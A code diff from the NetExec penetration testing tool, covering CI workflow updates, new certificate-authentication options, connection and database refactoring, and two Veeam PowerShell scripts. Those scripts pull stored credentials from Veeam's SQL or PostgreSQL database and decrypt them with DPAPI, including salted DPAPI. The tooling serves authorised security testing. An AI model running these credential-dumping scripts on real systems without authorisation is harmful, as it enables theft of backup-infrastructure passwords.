uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Python ZipApp with Shiv
|
||||
@@ -22,12 +22,12 @@ jobs:
|
||||
pip install shiv
|
||||
python build_collector.py
|
||||
- name: Upload nxc ZipApp
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
|
||||
path: bin/nxc
|
||||
- name: Upload nxcdb ZipApp
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
|
||||
path: bin/nxcdb
|
||||
@@ -3,22 +3,25 @@ name: Lint Python code with ruff
|
||||
|
||||
on:
|
||||
push:
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.11
|
||||
python-version: 3.13
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
|
||||
@@ -8,20 +8,22 @@ on:
|
||||
jobs:
|
||||
build:
|
||||
name: Test for Py${{ matrix.python-version }}
|
||||
if: github.event.review.state == 'APPROVED'
|
||||
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
@@ -29,11 +31,6 @@ jobs:
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
@@ -48,4 +45,4 @@ jobs:
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -M veeam
|
||||
poetry run netexec smb 127.0.0.1 -L
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
|
||||
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
|
||||
Copyright (c) 2022, byt3bl33d3r
|
||||
All rights reserved.
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||

|
||||

|
||||
[](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
|
||||
[](https://twitter.com/intent/follow?screen_name=_zblurx)
|
||||
[](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
|
||||
@@ -43,6 +43,11 @@ sudo apt install pipx git
|
||||
pipx ensurepath
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
```
|
||||
|
||||
## Availability on Unix distributions
|
||||
|
||||
[](https://repology.org/project/netexec/versions)
|
||||
|
||||
# Development
|
||||
Development guidelines and recommendations in development
|
||||
|
||||
|
||||
+5
-1
@@ -20,15 +20,18 @@ a = Analysis(
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.examples.regsecrets',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
'impacket.dcerpc.v5.transport',
|
||||
'impacket.dcerpc.v5.lsad',
|
||||
'impacket.dcerpc.v5.gkdi',
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'jwt',
|
||||
'nxc.connection',
|
||||
'nxc.servers.smb',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
@@ -45,9 +48,9 @@ a = Analysis(
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
'pypsrp.client',
|
||||
'pywerview.cli.helpers',
|
||||
'pylnk3',
|
||||
'pypykatz',
|
||||
'pyNfsClient',
|
||||
'masky',
|
||||
'msldap',
|
||||
'msldap.connection',
|
||||
@@ -69,6 +72,7 @@ a = Analysis(
|
||||
'dploot.triage.masterkeys',
|
||||
'dploot.triage.mobaxterm',
|
||||
'dploot.triage.backupkey',
|
||||
'dploot.triage.wam',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.lib.target',
|
||||
|
||||
+18
-10
@@ -19,14 +19,17 @@ def gen_cli_args():
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
DISTANCE, COMMIT = COMMIT.split(".")
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "ItsAlwaysDNS"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
DISTANCE = ""
|
||||
CODENAME = "SmoothOperator"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
@@ -52,9 +55,9 @@ def gen_cli_args():
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
ॱ ॱ
|
||||
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
˙ \ / ˙
|
||||
˙ ˙
|
||||
|
||||
The network execution tool
|
||||
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
@@ -69,8 +72,6 @@ def gen_cli_args():
|
||||
parents=[generic_parser, output_parser, dns_parser]
|
||||
)
|
||||
|
||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
@@ -82,7 +83,7 @@ def gen_cli_args():
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
@@ -99,6 +100,13 @@ def gen_cli_args():
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
|
||||
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
|
||||
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
|
||||
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
|
||||
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
|
||||
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
|
||||
|
||||
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
|
||||
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
|
||||
@@ -116,7 +124,7 @@ def gen_cli_args():
|
||||
except Exception as e:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
|
||||
|
||||
argcomplete.autocomplete(parser)
|
||||
argcomplete.autocomplete(parser, always_complete_options=False)
|
||||
args = parser.parse_args()
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
@@ -124,7 +132,7 @@ def gen_cli_args():
|
||||
sys.exit(1)
|
||||
|
||||
if args.version:
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
|
||||
sys.exit(1)
|
||||
|
||||
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
|
||||
|
||||
+31
-12
@@ -1,4 +1,7 @@
|
||||
import random
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
@@ -13,10 +16,9 @@ from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
@@ -85,6 +87,8 @@ def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
|
||||
def requires_admin(func):
|
||||
def _decorator(self, *args, **kwargs):
|
||||
if self.admin_privs is False:
|
||||
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
|
||||
return func(self, *args, **kwargs)
|
||||
return None
|
||||
return func(self, *args, **kwargs)
|
||||
|
||||
@@ -132,7 +136,7 @@ class connection:
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
@@ -146,6 +150,7 @@ class connection:
|
||||
self.kdcHost = self.args.kdcHost
|
||||
self.port = self.args.port
|
||||
self.local_ip = None
|
||||
self.dns_server = self.args.dns_server
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
@@ -154,7 +159,7 @@ class connection:
|
||||
else:
|
||||
return
|
||||
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
@@ -164,6 +169,9 @@ class connection:
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
|
||||
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
|
||||
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
|
||||
else:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
finally:
|
||||
@@ -200,13 +208,16 @@ class connection:
|
||||
def create_conn_obj(self):
|
||||
return
|
||||
|
||||
def disconnect(self):
|
||||
return
|
||||
|
||||
def check_if_admin(self):
|
||||
return
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
return
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
def plaintext_login(self, username, password):
|
||||
return
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
@@ -220,7 +231,8 @@ class connection:
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
@@ -228,6 +240,7 @@ class connection:
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.disconnect()
|
||||
|
||||
def call_cmd_args(self):
|
||||
"""Calls all the methods specified by the command line arguments
|
||||
@@ -373,7 +386,7 @@ class connection:
|
||||
if isfile(user):
|
||||
with open(user) as user_file:
|
||||
for line in user_file:
|
||||
if "\\" in line:
|
||||
if "\\" in line and len(line.split("\\")) == 2:
|
||||
domain_single, username_single = line.split("\\")
|
||||
else:
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
|
||||
@@ -463,8 +476,6 @@ class connection:
|
||||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
if hasattr(self.args, "delegate") and self.args.delegate:
|
||||
self.args.kerberos = True
|
||||
|
||||
if self.args.jitter:
|
||||
jitter = self.args.jitter
|
||||
@@ -479,7 +490,7 @@ class connection:
|
||||
|
||||
with sem:
|
||||
if cred_type == "plaintext":
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
|
||||
@@ -492,7 +503,7 @@ class connection:
|
||||
self.logger.debug("Trying to authenticate using plaintext")
|
||||
return self.plaintext_login(username, secret)
|
||||
elif cred_type == "hash":
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
|
||||
return self.hash_login(domain, username, secret)
|
||||
elif cred_type == "aesKey":
|
||||
@@ -539,9 +550,17 @@ class connection:
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if not self.args.username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
return pfx_auth(self)
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
return False
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
|
||||
$SqlServerName = "REPLACE_ME_SqlServer"
|
||||
$SqlInstanceName = "REPLACE_ME_SqlInstance"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
#Forming the connection string
|
||||
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$auth = "Integrated Security=SSPI;" #Local user
|
||||
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
|
||||
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
|
||||
@@ -22,19 +23,46 @@ catch {
|
||||
exit -1
|
||||
}
|
||||
|
||||
$rows=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($rows.count -eq 0) {
|
||||
$output=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($output.count -eq 0) {
|
||||
Write-Host "No passwords found!"
|
||||
exit
|
||||
}
|
||||
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$rows | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
# Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
@@ -1,8 +1,9 @@
|
||||
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
|
||||
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
|
||||
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
|
||||
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
|
||||
|
||||
if ($output.count -eq 0) {
|
||||
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
|
||||
exit
|
||||
}
|
||||
|
||||
# Decrypting passwords using DPAPI
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
+102
-22
@@ -1,13 +1,20 @@
|
||||
import sys
|
||||
import configparser
|
||||
import ipaddress
|
||||
import shutil
|
||||
from sqlalchemy import create_engine
|
||||
from sqlite3 import connect
|
||||
import sys
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from pathlib import Path
|
||||
from sqlite3 import connect
|
||||
from threading import Lock
|
||||
|
||||
from sqlalchemy import create_engine, MetaData, func
|
||||
from sqlalchemy.exc import IllegalStateChangeError
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
|
||||
|
||||
@@ -45,24 +52,8 @@ def write_configfile(config, config_path):
|
||||
config.write(configfile)
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
"""
|
||||
Create a new workspace with the given name.
|
||||
|
||||
Args:
|
||||
----
|
||||
workspace_name (str): The name of the workspace.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if exists(path_join(WORKSPACE_DIR, workspace_name)):
|
||||
print(f"[-] Workspace {workspace_name} already exists")
|
||||
else:
|
||||
print(f"[*] Creating {workspace_name} workspace")
|
||||
mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
def init_protocol_dbs(workspace_name, p_loader=None):
|
||||
"""Check for each protocol if the database exists, if not create it."""
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
@@ -87,6 +78,27 @@ def create_workspace(workspace_name, p_loader=None):
|
||||
conn.close()
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
"""
|
||||
Create a new workspace with the given name.
|
||||
|
||||
Args:
|
||||
----
|
||||
workspace_name (str): The name of the workspace.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if exists(path_join(WORKSPACE_DIR, workspace_name)):
|
||||
print(f"[-] Workspace {workspace_name} already exists")
|
||||
else:
|
||||
print(f"[*] Creating {workspace_name} workspace")
|
||||
mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
init_protocol_dbs(workspace_name, p_loader)
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
|
||||
print(f"[*] Workspace {workspace_name} deleted")
|
||||
@@ -94,4 +106,72 @@ def delete_workspace(workspace_name):
|
||||
|
||||
def initialize_db():
|
||||
if not exists(path_join(WORKSPACE_DIR, "default")):
|
||||
create_workspace("default")
|
||||
create_workspace("default")
|
||||
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
def format_host_query(q, filter_term, HostsTable):
|
||||
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
|
||||
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
|
||||
"""
|
||||
# the FTP and SSH protocols call the column host instead of IP
|
||||
# TODO: normalize these column names
|
||||
if hasattr(HostsTable.c, "ip"):
|
||||
ip_column = HostsTable.c.ip
|
||||
nxc_logger.debug("Using 'ip' column for filtering")
|
||||
elif hasattr(HostsTable.c, "host"):
|
||||
ip_column = HostsTable.c.host
|
||||
nxc_logger.debug("Using 'host' column for filtering")
|
||||
else:
|
||||
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
|
||||
return q
|
||||
|
||||
# first we check if its an ip address
|
||||
try:
|
||||
ipaddress.ip_address(filter_term)
|
||||
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
|
||||
q = q.filter(ip_column == filter_term)
|
||||
except ValueError:
|
||||
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
|
||||
# check if the hostname column exists for hostname searching
|
||||
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
|
||||
|
||||
return q
|
||||
|
||||
class BaseDB:
|
||||
def __init__(self, db_engine):
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
session = scoped_session(session_factory)
|
||||
self.sess = session()
|
||||
self.lock = Lock()
|
||||
|
||||
def reflect_tables(self):
|
||||
raise NotImplementedError("Reflect tables not implemented")
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
